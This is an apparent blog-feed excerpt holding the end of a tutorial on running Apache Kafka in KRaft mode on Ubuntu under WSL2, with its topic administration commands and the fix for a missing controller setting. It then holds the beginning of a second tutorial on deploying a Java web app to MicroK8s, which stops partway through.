&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;--from-beginning&lt;/code&gt; option instructs Kafka to replay all existing messages in the topic.&lt;/p&gt;

&lt;p&gt;This is useful when verifying your setup or replaying historical events.&lt;/p&gt;




&lt;h2&gt;
  
  
  Reading Only New Messages
&lt;/h2&gt;

&lt;p&gt;If you're only interested in messages produced after the consumer starts, simply omit the &lt;code&gt;--from-beginning&lt;/code&gt; option.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-console-consumer.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the consumer waits for new incoming messages.&lt;/p&gt;

&lt;p&gt;As soon as a producer publishes another message, it immediately appears in the consumer terminal.&lt;/p&gt;

&lt;p&gt;This demonstrates Kafka's real-time event streaming capability.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Message Flow Works
&lt;/h2&gt;

&lt;p&gt;At this point, you've already built a complete event-driven messaging system.&lt;/p&gt;

&lt;p&gt;The overall flow looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Producer
    │
    │ Publish Message
    ▼
+-------------------+
|       Kafka       |
|    Topic Storage  |
+-------------------+
    │
    │ Read Messages
    ▼
Consumer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The producer and consumer never communicate directly.&lt;/p&gt;

&lt;p&gt;Kafka sits between them, storing messages reliably and allowing multiple consumers to process the same events independently.&lt;/p&gt;

&lt;p&gt;This decoupling is one of Kafka's biggest architectural advantages and is widely used in microservices and distributed systems.&lt;/p&gt;




&lt;h2&gt;
  
  
  Verifying That Everything Works
&lt;/h2&gt;

&lt;p&gt;At this stage, you should have successfully:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Installed Kafka&lt;/li&gt;
&lt;li&gt;Configured KRaft mode&lt;/li&gt;
&lt;li&gt;Started the broker&lt;/li&gt;
&lt;li&gt;Created a topic&lt;/li&gt;
&lt;li&gt;Produced messages&lt;/li&gt;
&lt;li&gt;Consumed messages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You now have a fully functioning single-node Kafka environment ready for development and experimentation.&lt;/p&gt;

&lt;p&gt;In the next section, we'll look at common administration commands, deleting topics, troubleshooting configuration issues—including one that prevented my own Kafka broker from starting—and discuss where to go next in your Kafka learning journey.&lt;/p&gt;

&lt;h2&gt;
  
  
  Kafka Administration
&lt;/h2&gt;

&lt;p&gt;Once your Kafka broker is running successfully, you'll frequently perform administrative tasks such as listing topics, inspecting topic details, and deleting topics during development.&lt;/p&gt;

&lt;p&gt;Let's look at some of the most common commands.&lt;/p&gt;




&lt;h2&gt;
  
  
  Listing All Topics
&lt;/h2&gt;

&lt;p&gt;To display every topic in the Kafka cluster:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--list&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;my-test-topic
orders
payments
application-logs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command is useful for verifying that topics were created successfully.&lt;/p&gt;




&lt;h2&gt;
  
  
  Describing a Topic
&lt;/h2&gt;

&lt;p&gt;To view detailed information about a topic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--describe&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Typical output contains information similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Topic: my-test-topic

PartitionCount: 1

ReplicationFactor: 1

Leader: 1

Replicas: 1

Isr: 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's briefly understand what these values mean.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PartitionCount&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Number of partitions belonging to the topic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ReplicationFactor&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Number of replicas maintained for fault tolerance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Leader&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Broker currently responsible for reads and writes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Replicas&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Brokers containing copies of the partition&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ISR&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;In-Sync Replicas currently synchronized with the leader&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In this tutorial we're using a &lt;strong&gt;single-node Kafka cluster&lt;/strong&gt;, so each value is simply &lt;strong&gt;1&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Deleting a Topic
&lt;/h2&gt;

&lt;p&gt;Deleting a topic is straightforward.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092 &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--delete&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, topic deletion must be enabled.&lt;/p&gt;

&lt;p&gt;Verify that the following property exists inside:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;config/server.properties
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;delete.topic.enable&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without this configuration, Kafka ignores delete requests.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Kafka Commands
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Create a Topic
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--create&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  List Topics
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--list&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Describe a Topic
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--describe&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Produce Messages
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-console-producer.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Consume All Messages
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-console-consumer.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--from-beginning&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Consume Only New Messages
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-console-consumer.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Delete a Topic
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092 &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--delete&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Real-World Issue: Why My Kafka Broker Wouldn't Start
&lt;/h2&gt;

&lt;p&gt;While writing this article, I ran into a problem that took some investigation to resolve.&lt;/p&gt;

&lt;p&gt;After formatting the Kafka storage and attempting to start the broker, Kafka continuously displayed messages similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;initializeNewPublishers:
the loader is still catching up because we still don't know the high water mark yet.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It also reported:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Unable to register the broker because the RPC got timed out before it could be sent.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Although these messages looked alarming, they were actually symptoms rather than the root cause.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Real Problem
&lt;/h2&gt;

&lt;p&gt;After reviewing my configuration, I discovered that my &lt;code&gt;server.properties&lt;/code&gt; file was missing the following configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;controller.quorum.voters&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;1@localhost:9093&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without this property, Kafka's Controller had no information about which node was responsible for participating in controller elections.&lt;/p&gt;

&lt;p&gt;As a result:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Controller never became active.&lt;/li&gt;
&lt;li&gt;The Broker could not register.&lt;/li&gt;
&lt;li&gt;Kafka continued waiting indefinitely for metadata initialization.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Adding the missing configuration resolved the issue immediately.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Configuration Matters
&lt;/h2&gt;

&lt;p&gt;In KRaft mode, Kafka no longer relies on ZooKeeper to manage metadata.&lt;/p&gt;

&lt;p&gt;Instead, Kafka uses an internal Controller based on the Raft consensus protocol.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;controller.quorum.voters&lt;/code&gt; property identifies the nodes participating in that Controller quorum.&lt;/p&gt;

&lt;p&gt;For a single-node development environment, the configuration is simply:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;controller.quorum.voters&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;1@localhost:9093&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In production clusters, multiple controller nodes would typically be listed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Lessons Learned
&lt;/h2&gt;

&lt;p&gt;During this installation I learned several useful lessons:&lt;/p&gt;

&lt;p&gt;✅ KRaft mode eliminates the need for ZooKeeper.&lt;/p&gt;

&lt;p&gt;✅ Every Kafka cluster requires a unique Cluster ID.&lt;/p&gt;

&lt;p&gt;✅ Kafka storage must be formatted before the broker starts.&lt;/p&gt;

&lt;p&gt;✅ Producers and consumers connect to &lt;strong&gt;9092&lt;/strong&gt;, while &lt;strong&gt;9093&lt;/strong&gt; is reserved for internal Controller communication.&lt;/p&gt;

&lt;p&gt;✅ The &lt;code&gt;server.properties&lt;/code&gt; file is the heart of Kafka configuration.&lt;/p&gt;

&lt;p&gt;✅ A missing &lt;code&gt;controller.quorum.voters&lt;/code&gt; property prevents the Controller from becoming active.&lt;/p&gt;

&lt;p&gt;Understanding &lt;strong&gt;why&lt;/strong&gt; Kafka behaves this way makes troubleshooting much easier than simply memorizing commands.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next?
&lt;/h2&gt;

&lt;p&gt;Now that Kafka is running successfully, there are many exciting topics to explore.&lt;/p&gt;

&lt;p&gt;Some natural next steps include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Building a Java Kafka Producer&lt;/li&gt;
&lt;li&gt;Building a Java Kafka Consumer&lt;/li&gt;
&lt;li&gt;Understanding Partitions and Offsets&lt;/li&gt;
&lt;li&gt;Consumer Groups&lt;/li&gt;
&lt;li&gt;Kafka Streams&lt;/li&gt;
&lt;li&gt;Spring Boot with Kafka&lt;/li&gt;
&lt;li&gt;Event-Driven Microservices&lt;/li&gt;
&lt;li&gt;Real-time Log Processing&lt;/li&gt;
&lt;li&gt;Fraud Detection Pipelines&lt;/li&gt;
&lt;li&gt;Integrating Kafka with AI and RAG applications&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kafka is much more than a messaging system—it is a powerful event streaming platform used by organizations to build highly scalable, real-time applications.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this guide, we installed &lt;strong&gt;Apache Kafka 4.2&lt;/strong&gt; on &lt;strong&gt;Ubuntu 24.04 (WSL2)&lt;/strong&gt; using &lt;strong&gt;KRaft mode&lt;/strong&gt;, configured a single-node broker, initialized the metadata storage, created topics, produced and consumed messages, and explored the essential administration commands used in day-to-day development.&lt;/p&gt;

&lt;p&gt;Along the way, we also investigated and resolved a real configuration issue involving &lt;code&gt;controller.quorum.voters&lt;/code&gt;, highlighting the importance of understanding Kafka's internal architecture rather than simply following installation steps.&lt;/p&gt;

&lt;p&gt;Whether you're building microservices, processing application logs, streaming IoT data, or developing real-time analytics, Kafka provides a reliable foundation for event-driven applications.&lt;/p&gt;

&lt;p&gt;I hope this guide helps you get started with Kafka and saves you some of the troubleshooting time that I experienced during my own setup. Happy learning!&lt;/p&gt;

</description>
      <category>kafka</category>
      <category>java</category>
      <category>eventdriven</category>
      <category>devops</category>
    </item>
    <item>
      <title>Running Java Applications on Kubernetes with MicroK8s in WSL2: A Complete Step-by-Step Guide</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Thu, 02 Jul 2026 21:19:19 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/running-java-applications-on-kubernetes-with-microk8s-in-wsl2-a-complete-step-by-step-guide-2bpj</link>
      <guid>https://dev.to/sanjayghosh/running-java-applications-on-kubernetes-with-microk8s-in-wsl2-a-complete-step-by-step-guide-2bpj</guid>
      <description>&lt;h2&gt;
  
  
  🚀 Introduction
&lt;/h2&gt;

&lt;p&gt;Deploying Kubernetes locally can feel like a breeze—until you introduce cross-OS boundaries like running &lt;strong&gt;MicroK8s&lt;/strong&gt; inside an &lt;strong&gt;Ubuntu WSL2 instance&lt;/strong&gt; on a Windows machine. Suddenly, networking bridges, cluster security templates, and isolated container image caches clash.&lt;/p&gt;

&lt;p&gt;In this guide, I will take you through my entire journey from absolute scratch: initializing the cluster, bypassing the Windows-to-WSL network layer, containerizing a legacy &lt;code&gt;.war&lt;/code&gt; file into Apache Tomcat 10, resolving local container runtime blocks, and scaling to a load-balanced multi-pod deployment.&lt;/p&gt;




&lt;p&gt;Overall Flow :&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz06q3cm8kdgkwzz5p37a.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz06q3cm8kdgkwzz5p37a.jpg" alt=" " width="367" height="513"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Deployment Flow:&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fw2tvk175b9gaun2vhima.jpg" alt=" " width="304" height="420"&gt;
&lt;/h2&gt;
&lt;h2&gt;
  
  
  🛠️ Phase 1: Installing and Configuring the Cluster
&lt;/h2&gt;

&lt;p&gt;MicroK8s is Canonical's lightweight, fast-booting Kubernetes distribution that works natively on Ubuntu via Snap packages.&lt;/p&gt;
&lt;h4&gt;
  
  
  1. Installation &amp;amp; Init
&lt;/h4&gt;

&lt;p&gt;Run the standard package manager to pull the classic snap layer down and wait for readiness flags to clear:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;snap &lt;span class="nb"&gt;install &lt;/span&gt;microk8s &lt;span class="nt"&gt;--classic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s status &lt;span class="nt"&gt;--wait-ready&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s &lt;span class="nb"&gt;enable &lt;/span&gt;dns dashboard storage
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. The WSL2 Network Barrier 🛑
&lt;/h4&gt;

&lt;p&gt;Because the cluster builds internal authorization certificates tied exclusively to the Linux environment, a Windows web browser attempting to view the dashboard on &lt;code&gt;localhost&lt;/code&gt; will be strictly blocked. We must patch the cluster's trusted certificate schema.&lt;/p&gt;

&lt;p&gt;First, check your active Ubuntu network IP address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ip route
&lt;span class="c"&gt;## Look for your eth0 source IP (e.g., 172.21.236.75)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open the root certificate mapping file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;vi /var/snap/microk8s/current/certs/csr.conf.template
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scroll down to the &lt;code&gt;[ alt_names ]&lt;/code&gt; segment and explicitly append your Ubuntu network address to the safe-list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IP.3 = 172.21.236.75
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Force a full service recycle to re-mint the secure tokens:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s stop &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3. Launching the Security Proxy
&lt;/h4&gt;

&lt;p&gt;Extract your cluster access token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl describe secret &lt;span class="nt"&gt;-n&lt;/span&gt; kube-system microk8s-dashboard-token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Spin up the connection bridge utility to forward cluster resources through to your host:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s dashboard-proxy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open your Windows web browser, navigate to &lt;code&gt;https://127.0.0.1:10443&lt;/code&gt;, bypass the browser certificate safety warnings, and paste your authorization token. You're in!&lt;/p&gt;




&lt;h2&gt;
  
  
  📦 Phase 2: Containerizing Your Java Web App
&lt;/h2&gt;

&lt;p&gt;Kubernetes does not manage code files directly; it orchestrates &lt;em&gt;containers&lt;/em&gt;. We need to wrap your compiled application file into an official application server baseline.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Establish Your Workspace
&lt;/h4&gt;

&lt;p&gt;Create a folder structure inside Ubuntu to hold your codebase assets and copy your file over:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /mnt/c/MyDomain/TECH/kubernetes/allwork/kubernetes-java-app
&lt;span class="nb"&gt;cd&lt;/span&gt; /mnt/c/MyDomain/TECH/kubernetes/allwork/kubernetes-java-app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. Crafting the Dockerfile Blueprint
&lt;/h4&gt;

&lt;p&gt;Create a raw text blueprint named &lt;code&gt;Dockerfile&lt;/code&gt; to map out the Tomcat 10 installation parameters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="c"&gt;## Use official Tomcat 10 with Java 17 as the base foundation&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; docker.io/tomcat:10.1-jre17&lt;/span&gt;

&lt;span class="c"&gt;## Clean out the default placeholder webapps to prevent conflicts&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /usr/local/tomcat/webapps/&lt;span class="k"&gt;*&lt;/span&gt;

&lt;span class="c"&gt;## Copy your local WAR file from your directory into Tomcat's deployment folder&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; mywebprojectwar.war /usr/local/tomcat/webapps/&lt;/span&gt;

&lt;span class="c"&gt;## Inform the container environment to expose Tomcat's web port&lt;/span&gt;
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="s"&gt; 8080&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3. Compiling the Image Package
&lt;/h4&gt;

&lt;p&gt;Because MicroK8s focuses purely on execution workloads, use &lt;code&gt;buildah&lt;/code&gt; to safely handle compilation layers on Ubuntu:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; buildah
&lt;span class="nb"&gt;sudo &lt;/span&gt;buildah bud &lt;span class="nt"&gt;-t&lt;/span&gt; my-java-app:v1 &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🧬 Phase 3: The Local Sideloading Blueprint
&lt;/h2&gt;

&lt;p&gt;If you try to run your containers right now, you will hit an immediate wall: &lt;strong&gt;&lt;code&gt;ErrImageNeverPull&lt;/code&gt;&lt;/strong&gt;. MicroK8s isolates local terminal compiles away from the live Kubernetes runtime container pools (&lt;code&gt;k8s.io&lt;/code&gt; namespace).&lt;/p&gt;

&lt;p&gt;Here is the exact side-loading injection pattern that guarantees a perfect local import:&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Build a Standard Archive
&lt;/h4&gt;

&lt;p&gt;Export the image into an unmanaged, standardized archive on your hard drive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; my-java-app.tar
&lt;span class="nb"&gt;sudo &lt;/span&gt;buildah push my-java-app:v1 docker-archive:my-java-app.tar:my-java-app:v1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. Stream into Cluster Core Memory
&lt;/h4&gt;

&lt;p&gt;Use the high-level MicroK8s packaging command along with a file stream director (&lt;code&gt;&amp;lt;&lt;/code&gt;) to automatically unpack the elements straight into the cluster namespace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s images import &amp;lt; my-java-app.tar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3. Verify Your Cache Identifiers
&lt;/h4&gt;

&lt;p&gt;Query the exact internal text string that the cluster engine assigned to your package:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s ctr &lt;span class="nt"&gt;--namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;k8s.io image list | &lt;span class="nb"&gt;grep &lt;/span&gt;managed
